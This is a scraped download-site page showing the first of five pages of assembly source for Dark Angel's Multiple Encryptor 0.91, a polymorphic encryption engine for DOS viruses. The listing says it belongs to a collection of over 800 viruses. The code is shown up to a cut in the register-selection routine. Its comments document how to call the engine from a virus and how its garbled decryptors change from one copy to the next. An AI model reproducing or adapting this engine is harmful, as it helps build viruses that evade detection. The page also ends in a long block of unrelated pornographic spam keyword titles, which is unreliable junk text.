亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dame091.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 5 頁
字號:
comment #

                        Dark Angel's Multiple Encryptor
                                 Version 0.91
                        By Dark Angel of Phalcon/Skism

        This source may be freely distributed.  Modifications are
        encouraged and modified redistribution is allowed provided
        this notice and the revision history to date are not altered.
        You are free to append to the revision history and update the
        usage information.

 Welcome to the source code for Dark Angel's Multiple Encryptor.
 I, Dark Angel, will be your host for this short excursion through
 a pretty nifty encryptor.

 DAME 0.90 (1574 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Initial release.

 DAME 0.91 (1960 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Source code commented.

   The user no longer needs to call the encryption routine manually;
   the routine calls it automatically.  This makes DAME a bit more
   "user friendly."

   Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
   is now supported.

   Added "double-reference" encryptions.  Example:
        mov     ax,[bx+3212]
        xor     ax,3213
        mov     [bx+3212],ax

   There is now a bitflag option to generate a decryptor which will transfer
   control to the buffer on a paragraph boundary.

   There is now a 1% chance that no encryption will be encoded when
   the "do_encrypt1" routine is called.  Of course, null effect
   encryptors may still be generated.

   garble_jmpcond is much more robust.  It can now put valid instructions
   between the conditional jump and the target of the jump.  Therefore,
   there is no longer a multitude of JZ $+2's and the like.  Instead, they
   are replaced by JZ $+4, XOR BX,BX, for example.

   The register tracker is cleared after the loop is completed.  This makes
   sense, since the registers are no longer needed.  This also allows for the
   manipulation of those used registers in the garbling after the loop is
   completed.

   Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
   MOVes added.  Memory PUSHes and POPs are now supported.

   The maximum nesting value is now the variable _maxnest, which can range
   from 0 to MAXNEST.  _maxnest is determined randomly at runtime.  This makes
   the decryption routines a bit more interesting.  _nest is also cleared more
   times during the run so that variability is continuous throughout.

   Short decryptor option added.  This is automatically used when generating
   the encryptor so the encryptor will always be of minimal length.

   More alignments are now possible.  This makes the initial values of the
   registers more flexible.

   BUG FIXES:

   BP is now preserved on exit

   Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
   See routine named "clear_PIQ"

   Loopnz routines had possibility of not working properly; instruction
   eliminated.

   NOTES:

   I forgot to give credit to the person from whom I stole the random number
   routines.  I took them from the routine embedded in TPE 1.x (I misremember
   the version number).  Many thanks to Masud Khafir!

   USAGE:

   ON ENTRY:
     ax = flags
       bit 15 : Use two registers for pointer : 0 = no, 1 = yes
       bit 14 : Align size : 0 = word, 1 = dword
       bit 13 : Encryption direction : 0 = forwards, 1 = backwards
       bit 12 : Counter direction : 0 = forwards, 1 = backwards
       bit 11 : Counter register used : 0 = no, 1 = yes
       bit 10 : Temporary storage for double reference
       bit  9 : Unused
       bit  8 : Unused
       bit  7 : Unused
       bit  6 : Unused
       bit  5 : Unused
       bit  4 : Unused
       bit  3 : return control on paragraph boundary : 1 = yes, 0 = no
       bit  2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
       bit  1 : garble : 1 = yes, 0 = no
       bit  0 : SS = DS = CS : 1 = yes, 0 = no
     bx = start decrypt in carrier file
     cx = encrypt length
     dx = start encrypt
     si = buffer to put decryption routine
     di = buffer to put encryption routine

     ds = cs on entry
     es = cs on entry

   RETURNS:
     cx = decryption routine length
     DF cleared
     all other registers are preserved.
     The RADIX is set to 16d.

   NOTES:

   rnd_init_seed is _not_ called by DAME.  The user must explicitly call it.

   The buffer containing the routine to be encrypted should be 20 bytes
   larger than the size of the routine.  This allows padding to work.

   The decryption routine buffer should be rather large to accomodate the
   large decryptors which may be generated.

   The encryption routine buffer need not be very large; 80h bytes should
   suffice.  90d bytes is probably enough, but this value is untested.
#

.radix 10h

ifndef vars
        vars = 2
endif

if not vars eq 1        ; if (vars != 1)

_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7

_es = 8
_cs = 9
_ss = 0a
_ds = 0bh

; The constant MAXNEST determines the maximum possible level of nesting
; possible in any generated routine.  If the value is too large, then
; recursion problems will cause a stack overflow and the program will
; crash.  So don't be too greedy.  0Ah is a safe value to use for non-
; resident viruses.  Use smaller values for resident viruses.
ifndef MAXNEST          ; User may define MAXNEST prior to including
        MAXNEST = 0a    ; the DAME source code. The user's value will
endif                   ; then take precedence

rnd_init_seed:
        push    dx cx bx
        mov     ah,2C                   ; get time
        int     21

        in      al,40                   ; port 40h, 8253 timer 0 clock
        mov     ah,al
        in      al,40                   ; port 40h, 8253 timer 0 clock
        xor     ax,cx
        xor     dx,ax
        jmp     short rnd_get_loop_done
get_rand:
        push    dx cx bx
        in      al,40                   ; get from timer 0 clock
        db      5 ; add ax, xxxx
rnd_get_patch1  dw      0
                db      0BA  ; mov dx, xxxx
rnd_get_patch2  dw      0
        mov     cx,7

rnd_get_loop:
        shl     ax,1
        rcl     dx,1
        mov     bl,al
        xor     bl,dh
        jns     rnd_get_loop_loc
        inc     al
rnd_get_loop_loc:
        loop    rnd_get_loop

rnd_get_loop_done:
        mov     rnd_get_patch1,ax
        mov     rnd_get_patch2,dx
        mov     al,dl
        pop     bx cx dx
        retn

reg_table1:
              ; reg1 reg2 mod/00/rm   This is used to handle memory addressing
        db       _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
        db       _bp, 84, 10000110b ; if (reg2 == 84)
        db       _di, 84, 10000101b ;    reg2 = NULL;
        db       _si, 84, 10000100b

        db      _bp, _di, 10000011b
        db      _bp, _si, 10000010b
        db      _bx, _di, 10000001b
        db      _bx, _si, 10000000b
        db      _di, _bp, 10000011b
        db      _si, _bp, 10000010b
        db      _di, _bx, 10000001b
        db      _si, _bx, 10000000b

aligntable      db      3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks

redo_dame:
        pop     di bp si dx cx bx ax
dame:   ; Dark Angel's Multiple Encryptor
        cld
        push    ax bx cx dx si bp di
        call    _dame
        pop     di
        push    cx di
        call    di
        pop     di cx bp si dx bx bx ax
        ret

_dame:  ; set up initial values of the variables
        cld
        push    ax

        mov     ax,offset _encryptpointer
        xchg    ax,di                           ; save the pointer to the
        stosw                                   ; encryption routine buffer
        xchg    si,ax                           ; also save the pointer to
        stosw                                   ; the decryption routine
                                                ; buffer in the same manner
        stosw

        xchg    ax,dx                           ; starting offset of
        stosw                                   ; encryption
        xchg    ax,bx                           ; starting offset of
        stosw                                   ; decryption routine

        xchg    cx,dx                           ; dx = encrypt size

        xor     ax,ax
        mov     cx,(endclear1 - beginclear1) / 2; clear additional data
        rep     stosw                           ; area

        call    get_rand                        ; get a random number
        and     ax,not 0f                       ; clear user-defined bits

        pop     cx                              ; cx = bitmask
        xor     cx,ax                           ; randomize top bits

        call    get_rand_bx                     ; get a random number
        and     bx,7                            ; and lookup in the table
        mov     al,byte ptr [bx+aligntable]     ; for a random rounding size
        cbw
        add     dx,ax                           ; round the encryption
        not     ax                              ; size to next word, dword,
        and     dx,ax                           ; etc.

        mov     ax,dx                           ; save the new encryption
        stosw                                   ; length (_encrypt_length)

        shr     ax,1                            ; convert to words
        test    ch,40                           ; encrypting double wordly?
        jz      word_encryption                 ; nope, only wordly encryption
        shr     ax,1                            ; convert to double words
word_encryption:                                ; all the worldly encryption
        test    ch,10                           ; shall do thee no good, my
        jnz     counter_backwards               ; child, lest you repent for
        neg     ax                              ; the sins of those who would
counter_backwards:                              ; bring harm unto others
        stosw                                   ; save _counter_value
        push    dx                              ; Save rounded length

        call    get_rand                        ; get a random value for the
        stosw                                   ; encryption value
                                                ; (_decrypt_value)
        pop     ax                              ; get rounded encryption length
                                                ; in bytes
        test    ch,20                           ; is the encryption to run
        jnz     encrypt_forwards                ; forwards or backwards?
        neg     ax                              ; Adjust for forwards
encrypt_forwards:
        xor     bx,bx                           ; Assume pointer_value2 = 0

        test    ch,80                           ; Dual pointer registers?
        jz      no_dual
        call    get_rand_bx
        sub     ax,bx
no_dual:stosw                                   ; Save the pointers to the
        xchg    ax,bx                           ; decryption (_pointer_value1
        stosw                                   ; and _pointer_value2)

; The following lines determine the registers that go with each function.
; There are a maximum of four variable registers in each generated
; encryption/decryption routine pair -- the counter, two pointer registers,
; and an encryption value register.  Only one pointer register need be present
; in the pair; the other three registers are present only if they are needed.

s0:     call    clear_used_regs                 
        mov     di,offset _counter_reg
        mov     al,84                           ; Assume no counter register
        test    ch,8                            ; Using a counter register?

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产99久久精品| 亚洲影视在线播放| 国产一区二区三区观看| 日韩欧美成人一区二区| 精品一区二区三区在线观看国产| 日韩免费视频一区二区| 捆绑变态av一区二区三区| 日韩三区在线观看| 美女视频黄 久久| 久久精品日韩一区二区三区| 粉嫩嫩av羞羞动漫久久久 | 欧美久久久久久久久| 偷窥国产亚洲免费视频| 日韩三级精品电影久久久| 国产在线精品不卡| 国产精品久久久久9999吃药| 欧美性猛交xxxx黑人交| 麻豆精品蜜桃视频网站| 国产日本欧美一区二区| 91丨九色丨蝌蚪丨老版| 天天做天天摸天天爽国产一区| 精品国一区二区三区| 菠萝蜜视频在线观看一区| 亚洲成av人片一区二区| 精品动漫一区二区三区在线观看| 成人自拍视频在线| 亚洲午夜精品网| 精品成人私密视频| 日本久久电影网| 九一九一国产精品| 亚洲色图在线视频| 日韩一二三区视频| av在线免费不卡| 日本大胆欧美人术艺术动态| 中文字幕高清不卡| 欧美一区二视频| gogo大胆日本视频一区| 久久精品噜噜噜成人88aⅴ| 欧美国产日产图区| 日韩三区在线观看| 欧美一a一片一级一片| 国产大片一区二区| 日韩成人伦理电影在线观看| 欧美激情一区二区| 欧美一区二区视频在线观看| 99re热视频这里只精品| 久久99精品国产91久久来源| 亚洲精品第一国产综合野| 久久免费电影网| 欧美另类videos死尸| 色综合天天综合在线视频| 国产毛片精品一区| 天堂在线一区二区| 亚洲精品日韩专区silk| 国产三级精品视频| 日韩亚洲欧美在线观看| 欧美色网站导航| 北岛玲一区二区三区四区| 精品伊人久久久久7777人| 亚洲成av人**亚洲成av**| 最近中文字幕一区二区三区| 国产日产亚洲精品系列| 精品免费日韩av| 欧美一区二区在线免费播放 | 精品一区二区在线播放| 青青草原综合久久大伊人精品优势 | 久久免费国产精品| 日韩欧美另类在线| 欧美久久高跟鞋激| 欧美群妇大交群中文字幕| 91九色02白丝porn| 色婷婷国产精品| 91影院在线免费观看| 成人av电影在线播放| 成人午夜精品一区二区三区| 国产精品夜夜嗨| 国产一区二区三区免费| 国产精品一区二区在线观看不卡| 国产一区二区三区高清播放| 九九精品视频在线看| 国产一区激情在线| 久久草av在线| 国产福利一区在线| 成人性生交大片免费看在线播放| 成人午夜视频网站| 99精品视频免费在线观看| 99精品热视频| 精品视频123区在线观看| 精品视频资源站| 91精选在线观看| 欧美一级一区二区| 久久亚洲精品国产精品紫薇| 久久久美女艺术照精彩视频福利播放| 久久九九久精品国产免费直播| 日本一区二区免费在线观看视频| 日本一区二区久久| 一区二区三区欧美日韩| 五月天亚洲精品| 久久99精品久久只有精品| 成人午夜短视频| 色先锋资源久久综合| 欧美精品粉嫩高潮一区二区| 精品99一区二区三区| 国产精品卡一卡二| 亚洲成人在线观看视频| 精品午夜一区二区三区在线观看| 成人美女视频在线观看18| 欧美性欧美巨大黑白大战| 欧美一区二区三区性视频| 久久久精品2019中文字幕之3| 中文字幕在线观看不卡| 偷窥少妇高潮呻吟av久久免费| 黄色小说综合网站| 色欧美日韩亚洲| 日韩欧美综合一区| 亚洲人妖av一区二区| 日韩国产精品久久久| 国产精品小仙女| 精品视频在线免费看| 久久久久国产精品麻豆| 亚洲在线观看免费| 国产综合久久久久久久久久久久| 色综合中文字幕国产 | 狠狠久久亚洲欧美| 91麻豆免费看片| 欧美电影免费观看高清完整版在线 | 91精品国产综合久久久蜜臀粉嫩 | 粉嫩aⅴ一区二区三区四区五区| 在线观看www91| 欧美国产欧美亚州国产日韩mv天天看完整| 亚洲综合免费观看高清完整版| 国产一区二区三区四区五区美女 | 日韩一级完整毛片| 樱花影视一区二区| 国产麻豆91精品| 欧美片网站yy| 亚洲人妖av一区二区| 国产成人av电影在线| 日韩欧美高清dvd碟片| 高清成人免费视频| 精品日韩在线观看| 午夜电影网一区| 一本久久精品一区二区| 国产精品天美传媒沈樵| 麻豆极品一区二区三区| 欧美高清精品3d| 亚洲在线成人精品| 色综合久久中文字幕| 亚洲欧洲国产日本综合| 国产成人av一区二区三区在线| 日韩精品一区二区三区视频| 天天综合色天天综合色h| 日本二三区不卡| 亚洲欧洲av另类| 成人免费视频一区| 久久精品免费在线观看| 黄页网站大全一区二区| 欧美一级片免费看| 亚洲小说春色综合另类电影| 国产一区二区不卡| 6080国产精品一区二区| 一区二区三区中文在线观看| 99精品热视频| 中文字幕av资源一区| 国产一区啦啦啦在线观看| 666欧美在线视频| 免费不卡在线视频| 欧美日韩aaaaa| 亚洲一区在线观看免费| 国产精品77777竹菊影视小说| 91精品国产色综合久久不卡蜜臀| 一区二区三区日韩精品| 91在线视频免费观看| 亚洲免费av网站| 99精品欧美一区二区三区综合在线| 久久久综合视频| 极品销魂美女一区二区三区| 亚洲精品一区二区三区香蕉| 手机精品视频在线观看| 欧美三级资源在线| 国产精品乱码久久久久久| 一本大道久久a久久综合| 亚洲国产精品激情在线观看| 国产a区久久久| 伊人开心综合网| 在线视频你懂得一区| 国产精品毛片久久久久久| 99久久久国产精品免费蜜臀| 中文字幕成人av| 色综合天天综合在线视频| 亚洲电影在线免费观看| 欧美日韩精品一区二区| 日日骚欧美日韩| 欧美日韩免费高清一区色橹橹| 免费高清视频精品| 精品国产污污免费网站入口| 国内精品国产成人国产三级粉色| 国产精品网曝门| 91国偷自产一区二区开放时间| 亚洲一区免费视频|